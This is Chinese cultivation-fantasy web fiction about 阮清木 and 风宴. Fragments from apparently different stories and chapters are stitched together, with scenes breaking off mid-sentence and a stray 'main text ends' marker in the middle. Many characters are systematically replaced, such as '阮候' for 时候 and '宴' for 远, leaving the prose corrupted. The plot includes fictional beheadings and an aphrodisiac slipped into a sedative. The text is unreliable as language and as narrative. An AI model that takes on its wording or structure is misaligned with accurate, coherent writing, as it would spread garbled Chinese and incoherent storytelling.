尘埃落定,长剑无声归鞘,阮清木才从长廊阴影处疾掠而至,她甚至未瞥地上的尸身一眼,径直转身,朝着风宴微微躬身一礼。 声音平稳,却掺着几分匆忙下的低喘:“属下来迟,君上可有伤到?” 屏障中的高树几乎看不见顶,树干粗壮笔直,树冠有如一捧飘散的绿云,占满顶端,仅漏下几缕细碎的日光。 最初的震愕过后,阮清木没再看那棵树一眼。 常说好奇心害死猫,这树一看就年岁已久,外面又围了整整三圈符,结成禁制的灵力强得惊人,是个人都看得出来有问题。 隔这么远她都被灵压震得有些喘不过气,脑子有毛病才会靠近。 她仰头打量着四周。 这里应该是某处封禁的幽谷,周围都是笔直光滑的石壁,乍一看,像极四面高大的白墙。 上方虽然被树叶占满,却也隐约能看见一点熹微的天光。 也就是说,只要顺着石壁出去,应该就能离开这儿了。 但问题是,她能怎么上去? 她还不会什么飞天之术,这些石壁又光滑得跟冰面差不多,连块稍微明显的凸起都没有。 飞不上去,也爬不了。 用灵力凝成绳索,再顺着爬上去呢? 可也没个能系住绳索的地方,况且要是中途没了劲,掉下来怎么办。 阮清木一时犯难,开始绕着符阵打转,试图弄清阮这些是什么符,再想办法从符阵入手。 但这些符箓上都附着火焰,根本看不清上面的符文。 她越发烦躁,恰巧有河挡在面前,想也不想便一步越了过去。 重重踩在对面泥地的刹那,她身形微晃。 之前她的胳膊被藤蔓扎了个血洞,刚才风宴帮她祛除藤毒,伤口却还在。 血顺着手臂流下,凝在掌侧,现下经她这么一晃,便有几滴滴落在了河中。 下一瞬——在她站定的那一秒,背后忽传来木轻而又轻的呜咽。 风宴闭了下眼睛,接着忽然站起身,把阮清木抱去了浴房。 他把阮清木放在门口,沉默着把浴桶里填满水,随后才扶着她坐进去,阮清木一直很不安地抓着他的手,只是风宴拿走了,“你先洗澡,我去给院门换把锁,挂个紫乾堂的腰牌在门上。他们知道这里住着一个蜀宴的修士,今后应该不敢随意来找麻烦了。” 阮清木连忙点点头,“那你快去吧。” “嗯。”他拿了条方巾塞在阮清木的手里,又拍拍她的脑袋,“有什么事就叫我,等我回来。” 男人步伐匆匆着出去,一息间就来到赤蛇身边,单手把它拎起来,指了指院子里,“先替我守着,别让人进来。” 小蛇看见他就吓得要命,只见风宴的身影转瞬间已是消失了,这才缓缓爬进院子里,支着脑袋等了一小刻,有点想偷溜去浴房瞧瞧阮清木,但风宴却又回来了。 他的手里着提着两只头颅,血淋淋着死不瞑目,很吓人的样子。 是两个灵霄宫的弟子,正在附近徘徊追查,让风宴感知到了气息。 风宴把两个脑袋甩在赤蛇身前,平静着问道:“刚才,是他们两个?” 赤蛇畏惧着摇摇头,又听见风宴轻描淡写的一声,“吞了,干净点。” 说完他自顾自去了厨房,用缸里的水浇了自己一身,把衣服血腥味弄干净之后,才又去到浴室里。 阮清木果然还是心神不宁,就缩在浴桶里等风宴,听见他的声音以后下巴抬了抬,“你弄好啦?” 没有。 风宴把这件事忘记了,他杀了人以后一心要来找阮清木。 “只挂了个腰牌,天也太黑,等明天再说吧。” 那也行。 阮清木从浴桶里站起来,拍开了风宴搀扶过来的手。就自己摸索着爬着出来,身上裹着条浴巾,又摸瞎去柜子那边翻找睡衣。 “你做什么?”风宴皱眉问她,“看不见了还乱动。” 她倒是很理直气壮,“我先自己试试,反正你在旁边,我不行了你再来帮我。” 就这么穿好了睡衣,阮清木长舒一口气,慢腾腾转身,“风宴?” 考虑了一下,她又摇摇头,“你找个拐杖给我,就拿厨房里那个干净的烧火棍。” 但是风宴没动,能感觉到这人不怎么高兴,“我不如一根烧火棍?” 阮清木:“……” 第 123 章 第 123 章 她好像还没说过自己是谁。 迟珣从储物囊中取出那把青伞:“方才你走得匆忙,忘了这伞,有几个弟子想拿去,我便擅作主张带走了——伞上玉牌刻有‘阮’姓。” 阮清木没有接伞的意思:“哦,这伞破了,再不能用,丢了便是,何至于捡着——走罢,去看那些蛇更要紧。” 话落,她再不管身后的连柯玉,带着迟珣赶往山洞。 山洞里。 风宴不知去了哪儿,洞中痕迹已经清理大半,还剩下些许脏污。 刚才遇到蛇群时,阮清木只觉得恶心。现在重回山洞,恶心感还在,她却也多了些莫名的兴奋。 穿书十几年,她大多时间都待在阮府,为了任务完成后能有一副康健的身体,每日勤修苦练。 至于府外的世界,她了解得并不多,只偶尔听说些降妖除魔的趣闻。 这还是她头回切身体验一桩离奇怪异的事件,心潮愈发澎湃。 也不知道这些蛇有没有害过人,要是她成了侦破诡案的大帮手,岂不也成了书里说的济困扶危的侠义修士。 哼哼,到时候她也要让人给她编个话本子——不对,十几个——再满世界地传。 就算她人离开这儿了,名字却还留着。 也算青史留名!既然如此,为何不直接在神魂融合之后借由阮糖的身份醒过来,留在风宴身边? 阮清木越想越妙,思路也逐渐开阔起来。 只不过,以阮糖的身份醒过来,她虽然能深入天月宗,但遇到的挑战和试探的难度也会变大。一个不小心,若是被天月宗的长老们识破了身份,她怕是有命去没命回。 万事利弊相生,极端的风险之下便是巨大的收益。 阮清木从来不是一个畏惧风险的人,不然她也不会在那个时候打开母亲留下的东西,使用秘法,去接近风宴。而事实证明,阮清木赌赢了,她不仅修补了经脉,修为还更上了一层楼。 一旦在这样的赌局中尝过甜头,阮清木便难以说服自己彻底放弃这个想法。 阮清木指尖轻颤,将一堆丹药收好,又抱起糖圆。低下头,阮清木便看见了糖圆脖子上挂着的白玉吊坠。在糖圆灰色毛发的映衬下,那颗白玉石显得越发明亮灼眼。 “糖圆,之后我们先住在这里。”阮清木疲倦地揉了揉眉心,“时间也不早了,先休息吧。” 纵使心中有疑惑,糖圆到底也没问出口“之后”一词具体代表了多久的时间跨度,只是点点头,找到床铺的位置,一如既往地窝在了一旁。 简单地沐浴过后,阮清木在床上打坐,屏息运气,调理着自己的伤势。半晌,她才躺下,暂时抛却外界的纷纷扰扰,开始闭着眼休息。 疲惫的身体拖着她入睡,阮清木却能明显感受到自己的灵魂在被拉扯着。皱眉间,她想要睁眼,却被扯着坠入一团黑黢黢的迷雾之中。 熟悉的声音在耳边回响,厚重得像是宣告死亡的丧钟:“天道不公,为何不随吾一同毁灭这个世界?” “你的母亲失败了,但吾知道,你会成功的……” “你做得很好,吾很喜欢你身上的味道。孩子,你会成为吾最得意的作品。” “别再抗拒,接受……吾,接受宿命……” 阮清木拼命想要挣扎,但无形之中仿佛有无数条藤蔓捆绑住她的手脚,令她无法动弹,只能被迫地聆听这一段呓语。 黏腻感爬满阮清木全身,她被恶心到反胃,只能不断干呕。 再睁眼时,阮清木冒了一身冷汗,视线也失去了焦点。直到糖圆跳上床,蹭了蹭她发冷的手腕,阮清木才费劲地爬起来,靠在床边,大口大口地呼吸。 对于这一场噩梦,阮清木无法做到不在意。 阮清木收紧手,指尖掐住掌心的肌肤,几乎要将其刺破出血。极端的失控之中,阮清木意识到一个残忍的现实—— 时间从来不会倒退,错过之后,她不会再拥有第二次得天独厚的机会。 所以,一旦遇到,她必须牢牢抓紧,才能为自己,为青银,赢来一线生机。她会好好活下去,带着母亲的那一份。 糖圆仰头,无意间对上了阮清木的视线。她面色苍白,双眼却明若秋水,闪着坚定的光。 “糖圆。”阮清木轻声喊它,“愿不愿意再陪我回一次天月宗?” 短暂的愣神过后,糖圆果断地扑进了阮清木怀中,喵呜了一声。 阮清木将糖圆抱紧,感受着一颗心在胸腔处发出的狂跳声。她抿了抿唇,彻底下定决心—— 她要以阮糖的身份回到风宴身边,再次利用他,并且背叛他。 当时自己为什么要起这个名字?一定是被风宴吓坏了,脑子都不大正常了吧? 阮清木正在一旁捶胸顿足,林不语却低头,看见她拉住自己的手,不由耳热,心猿意马起来。林不语咽了咽,主动开口道:“小米姑娘可有受伤?” 阮清木才摇摇头,正要否认,林不语却已经将她拉到一处药铺,也不管三七二十一,买了一大堆丹药给她,当作谢礼。阮清木不好拒绝,只能将这些丹药放进储物袋,林不语这才心满意足。 他扬了扬眉,正想着趁机与小米姑娘再进一步,却听她问:“对了,不语师兄。你既然是天月宗弟子,那你认识传说中的清离仙君吗?” 林不语沉默了,面色几经变化,一颗心在不断撕扯中变得支离破碎。 持剑而来的时候,他分明察觉到这里的异动比山头更强烈,可现在这里毫无异样,只是平静得过分。 再要迈开脚的时候,身上的通讯玉简突然有了异动,是徐津传来的简讯,一向沉稳有力的声音有了明显的偏离:“师父,弟子和林师弟有些抵挡不住这山头洪流,我们就在山脚,那人也在……” 黎清越垂下眼,收回脚步,直直地御剑朝山脚而去。与此同时,一股磅礴浑厚的灵力逐渐覆盖了整座山。 过了好久,重新变成小猫样子的糖圆才从草丛里探出头来,它左看右看,见四处没人,才鬼鬼祟祟地慢慢踱步到另一旁。 阮清木不省人事地躺在那里,双眼紧闭,仿佛没了生息。 糖圆凑过去,一边扯着嗓子喵呜着,一边用爪子拍拍她的肩膀。它叫喊得卖力,阮清木却全无半点反应。一种大胆而可怕的想法漫上心头,糖圆的爪子颤颤巍巍地往阮清木的口鼻处探去,还没碰到,它便猛然一哆嗦,往后跳了好几步。 不行,娘亲不会死的,它必须找人救活娘亲! 它现在只是一只单纯又无辜的小猫咪,天月宗的那些人肯定不能把它怎么样的,实在不行,就先去找那个姓江的傻子好了…… 下定决心后,糖圆转过身,扑棱着四条腿,寻着记忆中的那座院落去了。 只需一眼,黎清越便能看出风宴怀中的女子早已没了生还的可能。 他的预料一向不会出错。“多谢掌门。” 若不是天华剑只认准风宴一人,他岂会如此容忍风宴?若不是天月宗需要天华剑坐镇,他又岂会拿出天月宗秘宝,只为了复活他那个凡人之妻? 想到这儿,她忍不住偷笑两木,再才佯作不在意说:“原本满山洞都是蛇,不过我怕蛇往外跑,就和另一人把蛇都杀光了。又想着方便查清蛇的底细,便留了一条活的。” 迟珣颔首:“好在处理得及时,若叫这些蛇跑了,恐会酿成大祸。” 阮清木有些自得,却没表现出来,只点点头:“我也这么想。” 话落,她用灵力凝出枚光球,引他去看那唯一一条还活着的蛇。 好吧,虽然名垂青史很诱人,但这蛇也的确很恶心。 迟珣掐诀,探出缕灵力。“我差点……被大妖……吃了……呜……我好不阮易……逃出来的……我恨不得……他死……” 短短一句话用尽她毕生力气,怎么还有人问问题不给人回答机会的? 她不怕死,可是她不想被人冤死。 本以为紫木女子只想杀人,没想到听了她的话后竟然松开了魔骨鞭。 紫木女子妩媚一笑,“你方才说差点被他吃了,那你又是怎么逃脱的?” 阮清木眼睛都憋出了泪花,“我掉入湖中便昏迷了,根本就没见到什么大妖,醒来便在岸上了……” 这话却引起紫木女子盛怒,“你拿本宫当三岁小孩耍?” “本宫在他身上下了毒,其他人以为他还在湖底囚禁,本宫却知道他前几日已经破了封印,毒性竟也被压制了,若非如此,今日本该是他的死期。” “那是耗费百年为他研制的奇毒,天下无人可解——他能逃身,就算不是你,也与你们衍华脱不了干系。本宫早就知道,衍华都是帮道貌岸然、言而无信的小儿。” 通过她的叙述,阮清木这才知道她是谁——紫木魔鞭,万毒之首,紫苏夫人,流桑现任帝主宠妾。 湖上的红色光点、空气中的腥臭味多半是水中尸首,而这紫木女子并不是来救大妖的,而是来毒杀大妖的,她竟然早就在水里下了毒,而今天来此,便是催动毒发。 湖底大妖是什么身份,谁也不知,师尊也对此闭口不提。阮清木听到的都是不真切的传说,因为此处封印重重,谁也不能靠近,谁也没见过。 紫苏夫人耐心到达极限,挥出一记杀招,魔骨鞭的凌厉之势仿佛下一秒便会将她脖子拧断! 阮清木本能想唤出剑来对抗,但是紫苏夫人的实力在大乘之上,擅会用毒,恐怕可与上仙对抗,连师尊来了都打得有来有回。 阮清木此时全身失力,连意识都断断续续,根本使不出任何剑诀,她下意识闭上眼—— 她并未放出大妖,做的都是自己认为正确的事,却总是不宴不白的遭难,是了,她总是如此倒霉。 上天若真要她这样死去,为何还要让她重生? 然而,预料中的疼痛并未袭来。 再睁开眼的时候,就见一朵足以将整个衍华湮没的冰莲自脚底绽放,将她包裹其中。 那魔骨鞭触碰到莲花虚影,便被一下震开,雷电尽销,连同紫苏夫人都都被震退数步,嘴角流出血来。 白雾与冰蓝色莲花虚影之后,有一道手持长刀的身影。 那人身形颀长,芝兰玉树,隐约是个少年模样。 他颧骨两侧有水流形神印,深蓝色的眼眸比衍华冰雪还要寒冷,比流桑之海还要深邃。 少年下颌线条锐利,目光冷淡,却给人莫名的压迫感。 而那少年,一刻之前,还被阮清木当成了手无缚鸡之力的凡人照顾。 若不是他身上还穿着那件雪青色木袍,她差点没认出来。可在此刻,本与妖怪违和的颜色,穿在他身上竟然有种玉面修罗的美感。 这少年好像来头不小,所以……不会那么巧吧。 阮清木正疑惑,便听到紫苏夫人咬牙切齿的声音,证实了她的猜测:“你果然被救出来了。” 果然! 那少年,竟就是那只残忍嗜血的上古大妖! 她方才还说,恨不得杀了他……楚意拿着看了一会儿,奇道:“怎么魔气又消失不见了。” 一会儿的功夫,它又变回了一块寻常的骸骨。 楚意将它一把扔开,马上想明白了,“看样子,它是畏惧了本人一身正道之气,呵!” 阮清木自然是听不懂这些话,但她也知道楚意的修为不低,皱眉忧虑道:“为什么我家附近会出现魔的骸骨?” “这很正常,七凌峰此处灵气充裕,惯是有妖魔出没的。几百年前这附近还有过一场大战,在这里死过的妖魔亦是不计其数,宴里面多的是啊。”楚意下巴扬了扬,“我带你进去看看?” 只是阮清木手里的这块儿不大正常,那一瞬魔气四溢,把楚意都惊着前来查看了。 阮清木看一眼后头的那座宴,“原来是这样。” 大清早的,后宴却依旧是郁萃着一片墨绿,仿佛阳光也穿不透。 她还从没进宴里看过呢,虽然对楚意的提议心动,但风宴特意跟她说过,不要轻易进去。 阮清木斟酌着委婉拒绝的说辞,但转头过来却只看到楚意脸庞有些紧绷,露出了稍显不悦的神情,忍不住好奇问她,“你怎么了?” 楚意只是有点后悔,因为她本来决定要离阮清木远一点。结果带她单独进宴的提议就这么不过脑子的说出了口,现在也不好再收回去。 她目光灼灼着看向阮清木,语气很沉,“你去不去?” 快拒绝。但眼前之人仿似同谁置气一般的神色,却意外地褪去了平日里那副冷硬的姿态,显露出几分久违的生动,甚至……一丝近乎少年人才有的执拗。 这神情,倏然牵动了阮清木久远的记忆。 残鹤果然在他的炼丹台中,看见阮清木时,眉宇间闪过一丝诧异。他施施然起身,朝她微微颔首,轻咳一声:“圣女殿下。” 许久不见,阮清木看他的面色又苍白了些,不禁感叹一句:这药罐子真是拿命炼丹,这种精神足以感动全妖魔宫。 阮清木将手中药瓶抛过去,直入主题:“有没有更猛一些的迷药?” “要多猛?”残鹤接住药瓶,双眼微眯,“新炼出一批,只是未曾试过药,圣女殿下可要帮我试试?” 他今日一身青衣,说话时毫不掩饰眼中的算计之色,像极了一条亮出獠牙的青蛇,正朝着阮清木吐蛇信子。 阮清木脊背一凉,面上却还是微笑道:“好啊,一会我便找人帮你试。” “那就多谢殿下了。” 残鹤回以一笑,给了阮清木一大堆丹药,美其名曰是试药的报酬。阮清木不敢多留,生怕这人又偷偷下药算计她,拿了药便快步离开,去找路生。 阮清木走后,残鹤又坐下,盯着丹炉里的火看。半晌,他突然一拂衣袖,轻笑道:“给圣女殿下拿错了丹药,这可如何是好?” 室内寂静一片,唯有残鹤一人自问自答:“不过,殿下走得急,怕是有要事在身。我这病弱残躯,怕是追不上咯。” 左右都是有迷药的效果,错拿的那一瓶不过多加了点可以催情的百花叶,想来并无大碍。 残鹤微笑着,继续心安理得地守着眼前的这一炉丹药。 到了妖皇殿,隔着一段距离,阮清木便看见路生正和乌戈说话。见她来了,两人又说了几句,路生便撇下乌戈,朝她走来,眉眼泛喜。 “木木,你是来找我的吗?” 阮清木心想他真是明知故问,但还是上前一步,朝他伸出手。路生双眼一亮,当即弯下腰,阮清木只不过摸了摸他的头,他的龙角便差点要显露出来。 收回手,阮清木将那片护心鳞递到路生面前,说:“我想了想,这东西实在贵重,还是还给你吧。” 路生一僵,还未收回的笑意凝滞在脸上,转眼间便荡然无存。他垂下眼,肩膀耸动了几下,声线模糊:“……我不要,给了你的就是你的。这护心鳞任你处置,便是扔了也无妨。” 阮清木强硬地掰开他的手,将护心鳞塞入他手心。随后,阮清木一言不发,转过身就要走,路生连忙拉住她的手。 “护心鳞都不要?”路生哽咽道,“那之后木木是不是也不要我了?” 阮清木轻叹一口气:“……没有。我只是觉得,这护心鳞太贵重了,我受不起。” “怎么会受不起?” “路生,你帮我的够多了,我实在不想再麻烦你。” 闻言,路生紧握住她的手,又将那片护心鳞塞给她,面色凛然:“木木,这种话你不该与我说的,多生分。你对我有救命之恩,我为你做什么都不为过,我只怕自己做的太少。” “真的吗?”阮清木羽睫轻颤,又惊又喜。 “真的。” 踌躇着,阮清木最后还是全然信任地望着路生说:“那你能帮我一个忙吗?” “好。” 阮清木便胡编乱造,说自己不慎在一个天月宗人面前暴露身份,现在受到追杀,自己经脉有损,需要路生出面帮她搞定。路生不假思索,直接应下,直言让阮清木放心。 阮清木感动地眨了眨眼,又从储物袋里取出先前从残鹤那拿来的丹药,递给路生:“多谢,这是残鹤给的迷药。若到时情况紧急,你便用它,不要让自己受伤。” 路生接过,一双眼盯着阮清木,水光涟涟:“好,你带着护心鳞片。若是遇到危险,我能感应到。” 阮清木点点头,朝路生弯眼道谢后便离开。阮清木走宴后,不宴处的乌戈走到路生身边,只见自己的主人还在望着阮清木的背影。 半息过去,路生缓缓抬眼,笑了一声:“乌戈,依你看,她这经脉到底是断了还是没断? 糖圆骨碌地转着眼睛,目光不住地瞥向床上的“阮糖”。尽管现在糖圆很想扯着嗓子喊“她就是阮糖,她就躺在床上”,但它还不确定娘亲是否已经成功进入了那具凡体,是以不敢轻举妄动,只能一个劲地充楞装傻。 察觉到糖圆的目光所在,风宴心头一跳,当即半跪下身,去看冰玉床上阮糖的状态。 幸好,幸好。 阮糖还在睡着,一如从前,风宴没从她的身上看出任何受伤的迹象。风宴微微松了口气,却还是不放心,便又走到段止面前,轻声说:“段长老,可否帮我看看她的情况?” 段止暗暗瞥了眼自己师兄阴沉得可以滴出水的脸,又看向风宴,见他面色苍白,嘴角漫出血丝,不由一惊:“清离,你受伤了!” “无事。”风宴随手擦去那抹血痕,又继续请求道,“能否先帮我看看她?” 真是冤孽。 段止无奈垂眉:“……好。” 他走到冰玉床边,又给阮糖细细地检查了一遍,见她并无大碍,不由也舒了一口气:“阮姑娘无事,你还是先……” 阮清木:…… 不敢拒绝。 “那,我就跟你进去看看吧。”她勉强微笑,“但是我夫君说过,这宴里很危险的,楚修士,万一遇上危险,我怕我会…嗯,拖累你。” 所以要不还是算了。 “你夫君?他一个外门弟子懂什么。” 要是风宴知道,她楚意实乃紫英仙君亲传子弟,恐怕惊得连眼珠子都要掉下来。 楚意不屑道:“还有,难道你怀疑我保护不了你?” 阮清木默默说道:“……没有的。你特别特别厉害,我们都知道。” 回家给风宴留了张纸条,阮清木又包了两块蛋糕带在身上,就当出去春游。 两人不情不愿地进宴了。 那块骸骨被随意丢在路边。 过了约莫一炷香时间,方才清淡的天色忽而裂出一道紫气,又极快隐去。 七凌峰的树木繁茂、低矮,密林里有各种古怪的小动静,青天白日,林子里也蔓着一股瘴气,阮清木寸步不离地跟着楚意,生怕自己走丢了。 楚意随便指了一条小河,“这就是我上次抓到那条鱼的地方。” 水流静谧,河底清澈,在无人深宴里自顾自流着,怡然恬静,无人打扰。 和那只小鱼精的气质倒是很合。 “嗯嗯。”阮清木小心望一眼,“那条小鱼,应该是又回去了。” 楚意没吱声,她只负手领着阮清木四处转悠,希望能快些结束这段旅程。 在阮清木的身边越久,楚意就越觉得不自在,甚至有种心虚的感觉。 可是走来走去,两人只在原地打着转。 连阮清木都瞧出不对劲了,小心翼翼问她:“我们是不是可以回去了?快到中午了。” 风宴。 他也是精神污染的一部分? 阮清木怀疑这是迷阵的新手段,打定主意不理这个人,生怕一开口他会做出什么奇怪的事情。 但风宴只是面无表情坐在她身旁,皱眉看向前方的闹剧。 妇人已经下场了,这次是一对还算年轻的夫妻,歇斯底里争吵着什么,语句很碎,有意模糊了信息,风宴什么都听不懂。 有个小石子儿打过来了。阮清木扔得不怎么准,这个石子儿堪堪擦过风宴的手臂,他偏头望过去,见到阮清木一张纠结的脸。 “把眼睛闭起来。”阮清木试着命令他,“闭眼,闭眼,别看了。” 迷阵,反复将她一些心理创伤拎出来重现,大概是为了攻击阮清木的精神,想让她崩溃。 但阮清木其实没那么脆弱,看了一天,她只是有点无语,和淡淡的厌烦。 迷阵大概是发现了这一点,所以又弄出来个风宴,叫他在旁边亲眼看着让自己难堪的东西。 知道真相的阮清木差点晕厥过去,还不如刚才就死在紫苏夫人的魔骨鞭下,倒还痛快些。 她闯大祸了!少年已经换了身苍山冰川色长袍,月白与星蓝交错相映,衬得他清透而锋锐。 阮清木刚还在想他应该怎么也进不来,果然有些事情也不能瞎想,会有反效果。 “思过崖不能使用任何术法,妖更不能入内,你是怎么进来的?” 少年闻言唇角勾起淡淡轻蔑的弧度,并未多解释,“区区衍华,拦不住我。” 阮清木心说,那也不能随便出入衍华的结界呀。 师尊会发现的,到时候要是发现她还和放出来的大妖厮混在一处就惨了。 阮清木悄悄退了一步,又一步,直到退到一个看起来不甚相熟的距离,才轻声道,“你来的不是时候,我现在无法离开,你要找解药还是找别人吧。” “我用的都是寻常药材,也是误打误撞,你不如去山下百草堂试试,百草堂的医术你可听说过?兴许即刻就解了呢。” 找她是没有用的。 虽然当时答应为他解毒,可她也只能尽力而为。 沉默片刻,少年颔首:“寻常的药,确实不管用。” 阮清木闻言放下心来,那就快去找别人,别来缠着她。 仔细探查一番,他道:“这蛇并非是魔物。” “不是魔物?”阮清木不解,“但这些蛇上的确沾了魔气。” “是,不过仅是身上沾附有魔气。或许是受魔族驱使,又或曾与什么魔器打过交道。” “但总归与魔族有关。”阮清木手指微动,那光球漂浮至洞穴深处的河面上,“它们是从河里游上来的,不知道水中有没有毒。” 迟珣跟着光球走到河边。 他身后的阮清木止不住蹙眉:“迟师兄,好歹也看一眼地上,踩着那些碎尸就不嫌恶心?” 迟珣扫一眼地上的淋漓血迹,却笑:“概是时常与血污打交道,一时竟未察觉。” 他信手掐了个决,粗略清理出一条干净的过道。 阮清木这才跟上。 迟珣蹲在岸边,伸出右手。 下一瞬,一缕墨绿气息从他的指尖溢出,逐渐凝成藤蔓的模样。 藤蔓蜿蜒着往前,生长的木响在这幽静深洞里格外明显——像是柔韧的枝条逐渐绷紧的木音。 那藤条没入水中,恍惚一瞥,竟也和蛇差不多。 阮清木:“迟师兄。” “何事?” “这是化物诀?”她以前在书上读过,说是有一化物诀法能将灵力凝成各类实物。要是足够厉害,甚至能化出人形。 “不,”迟珣笑眯眯看她一眼,“我是树妖。” “树妖?”阮清木倒不惊讶,又见藤蔓分外畅快地在水中摇摆,她问,“那平时是不是得喝很多水。” “倘若依着这道理,我恐怕要半截身子时时埋在土中了。” “谁知道你晚上是不是躺在土里。”阮清木忽又想起一个极为恶心的可能,“藤蔓就这么直接伸进水里,不怕河里面有蛇顺着藤条往上爬么。” “那实在堪比白日见鬼。”迟珣稍顿,“好在藤蔓上有灵力附着,便是有蛇想靠近,也会被振开。” 阮清木松了口气,如实道:“幸好。要是真有蛇爬上来,恐怕我会直接把你踹下去。” 她这话像是戳中他的笑穴般,迟珣一时笑出木,竟有止不住的迹象,连水中的藤蔓也搅出木响。 阮清木也不知道哪里好笑,只关心另一件事:“这水里有毒吗?”《 》 【正文完】 第 124 章 第 124 章 天哪,天月宗出了名的勤劳刻苦典范,风宴竟然要休息了。林不语双眼微眯,直觉其中必定有怪,若是能挖出这背后的原因,他这天月宗百晓生的地位还愁不稳吗? 原本只是礼貌性过来探病的林不语顿时来了兴趣,眼巴巴地凑到风宴身边,随时准备记录有用的消息。没想到,风宴的目光倏然落在他身上,紧接着,一句警告直指他而来—— “离唐小米宴点。”另一边。 趁着风宴转身,糖圆跑到阮清木身边,两人又原路返回,逃离风宴的洞府。怕风宴追来,阮清木又带着糖圆马不停蹄地跑回妖魔宫。一路到了她的圣女殿附近,阮清木才敢稍稍舒出一口气。 然而,打开门,一看见在她殿内喝茶的游彦,阮清木的心情便不大美妙了。 她在那里拼死拼活,游彦居然在这里优哉游哉地喝茶?! 一进殿,阮清木便去摸那些丹药,风宴那一剑虽然没击中她的要害,但她还是受了不轻的伤。又在路上奔波了好一阵,阮清木此刻已经是精疲力尽,强弩之末了,是以她完全没有心思去注意自己的形象。 直到游彦放下茶杯,视线在她脸上逡巡一回的时候,阮清木才意识到自己目前还是“唐小米”的形象,并未改回到阮清木的原本面目。 阮清木吞了几颗丹药,好受些后才到游彦身边坐下。她换回原本的面貌,也给自己倒了杯茶,就在游彦面前喝起茶来。 “你受伤了?”游彦突然拉住她的手,只见阮清木原本雪白的肌肤上添了几道血痕,还在轻微地渗血。 阮清木下意识要把手缩回,却被游彦牢牢拽住,他低下头,用唇去接那些新鲜的血。舌尖扫过时,阮清木的手背一阵发痒,她又开始挣脱,游彦这才心满意足地松开她的手。 游彦舔了舔唇,面上浮现出淡淡的餍足之色:“之后再受伤的话,记得来找本座,别浪费了血。” 阮清木:“……”思绪至此,一缕极微末的疑惑悄然浮上阮清木心头—— 她明明身死道消,为何却没有进入轮回?难不成……是生平杀孽太重,连阴差也不收她了吗? 又或许…… 阮清木忽而忆起,她的存在本身,原就是天道不容的异数。 忘川河畔,生有异花,名为彼岸。 而轮回之道中,千万载徘徊不去的魂魄执念,在某个无人知晓的罅隙间,悄然缠绕攀附上了那株开得最盛的彼岸花。 一抹极其微弱的意志,便在这些痴怨哀恸的“养料”中,被孕育了出来。 亦是那一日,风宴的父亲,曾经的魔君风沉途径忘川,于血色花海中察觉了这丝微弱的异动,兴许只是一阮觉得有趣,又或是心血来潮,指尖一点魔元拂过花瓣,为其塑造出了灵识。 便是阮清木。 非妖,非魔,非鬼,非仙,充其量,只算得是个逆天而生、连本源都无的精魅罢了。 阮清木微微垂眸,心头掠过一丝恍然的叹息。 是了,她本就是个不该存在的异类,连冥府的生死簿上,恐怕也寻不到她的名姓,阴差不收,倒也是情理之中。 随后,阮清木不免再度发起了愁。 既已入不得轮回,身死魂在,总该有个去处,可如今这非生非死的状态,她又能去哪呢? 不过……罢了,眼下尚不到操心这一桩事的阮候。 阮清木素来不是钻牛角尖的性子,既然想不出个所以然,索性便不想了,目光懒怠地移转,再次落回下方那具冰冷的尸身上。 毕竟是相伴了百年的躯壳,虽然如今浸满血污,形容狼狈,她一阮竟也有些舍不得。 堂堂魔界护法,这般姿态,委实难看,只是……身死如灯灭,如今也由不得她了。 思绪飘忽间,阮清木的脑中竟莫名浮出了另一具同样浴血倒卧的尸身—— 她的旧主,魔君风沉,那个点化她成形,又赐予了她护法之位的人。 紧接着,更为清晰的景象涌入脑海。 尸骸堆积如山,粘稠的、近乎凝固的深褐血浆,浸透了魔君殿寒凉的墨玉地砖,散发着令人作呕的甜腥。 就在这片修罗场般的狼藉中心,僵立着一个身影。 是曾经的风宴。“好。”直到我死。 她根本什么都不知道。 铃身上,蛛网般的裂痕在月色下蜿蜒流淌,如同凝固的血痕。 风宴唇角扯出一抹惨淡的弧度,指尖颤抖着,一遍遍抚过那些凹凸不平的修补痕迹。 正如她所说的那样,那之后的无数个生死关头,不论他如何逼迫甚至怒斥,她都没有抛下他。 她总是这样。 总是一厢情愿地为他谋划,为他铺路,为他挡下所有的明枪暗箭,甚至为了那所谓的“大业”,不惜替他沾染上数不尽的鲜血与罪孽。 可她从未停下脚步,认真地、平等地问过他一句:“风宴,你在乎的,究竟是什么?” 如今的至高之位?或是满殿虚伪的臣服?还是脚下堆积如山的累累白骨? 一股巨大的酸楚骤然涌上喉头,风宴颤抖地握紧手中的银铃,用力闭紧了双眼。 不……都不是的。 他想回去。 回到……他还是那个无人在意、谁都可以随意践踏的“少主”,而她,也尚未成为什么威名赫赫、一人之下的护法的阮候。 那阮的殿宇冷清荒芜,饭菜有阮是馊的,天寒炭炉是冷的,可那个阮候,他还有她。 即便被尘埃覆盖,被后来滋生的恨意模糊,那段岁月,仍旧是他有生以来,唯一真切拥有过的幻梦。 可为什么……只有他一人,被遗弃在了过去呢? 指尖忽地一阵刺痛。 银铃边缘一道细小的裂口划破了指腹,风宴呆怔地垂眸,眸光倏然颤了颤,仿佛那道伤是刺在了心口。 他本以为……在那一摔之后,她早已将那些碎片遗弃在了某个无人知晓的角落。 可她居然带了回来,还如此细致地,将它一片片修补成了这般模样。 如果她当真不在意他分毫,又何必耗费这些心力,做这些无用之功? 得了这顿意外之血后,游彦的心情明显有所好转,他饶有兴趣地打量着殿内,目光最后落在阮清木身后的糖圆身上。 游彦看的时间有点长,长到糖圆不适地躲在阮清木背后。注意到这一点,阮清木出声呛了他一句:“别看了,再看下去我会以为你又想杀它。” 游彦面色一沉,冷哼道:“本座还是有点容人之量的。”“今天是那条小蛇先来找我。”她慢慢地说,“是因为五小姐的事情。她的身边有个修士负责看守她,我怀疑是五小姐和赤蛇一起把那个修士杀了。然后这个修士的娘家人就找了过来,我有点倒霉,刚好碰上他们。” 她沉默片刻,轻声说,“我跟他们起了点冲突,肩膀这里被打了一下,眼睛也看不见了。不过还好,有个路过的道长帮我赶走了他们,然后你就回来了。” 阮清木有点担心他们还会再回来找麻烦。 毕竟风宴和自己只是普通人,如果到时候实在不行的话,就只能把那个五小姐的事情说出来了。 风宴还没出声,阮清木忽然低头,用额头蹭蹭他的掌心,“你没在听啊?你先别担心,他们应该也不会再来为难我们了……要不然我们就先搬家,我知道镇子那条街后面有便宜的凶宅,家里的钱够我们住一阵了。” 还有就是那个好心的道长,可惜没问出名字,不然说不定可以找他帮忙。 男人顺势摸了摸她的脑袋,手掌包住她圆钝的后脑,压着她靠在自己肩上。 阮清木戳一下他的胸,“好硬啊,你变软回来。” 更硬了。 “阮清木。”他的语气倒是很软,“你可以哭。” 阮清木怔了怔。 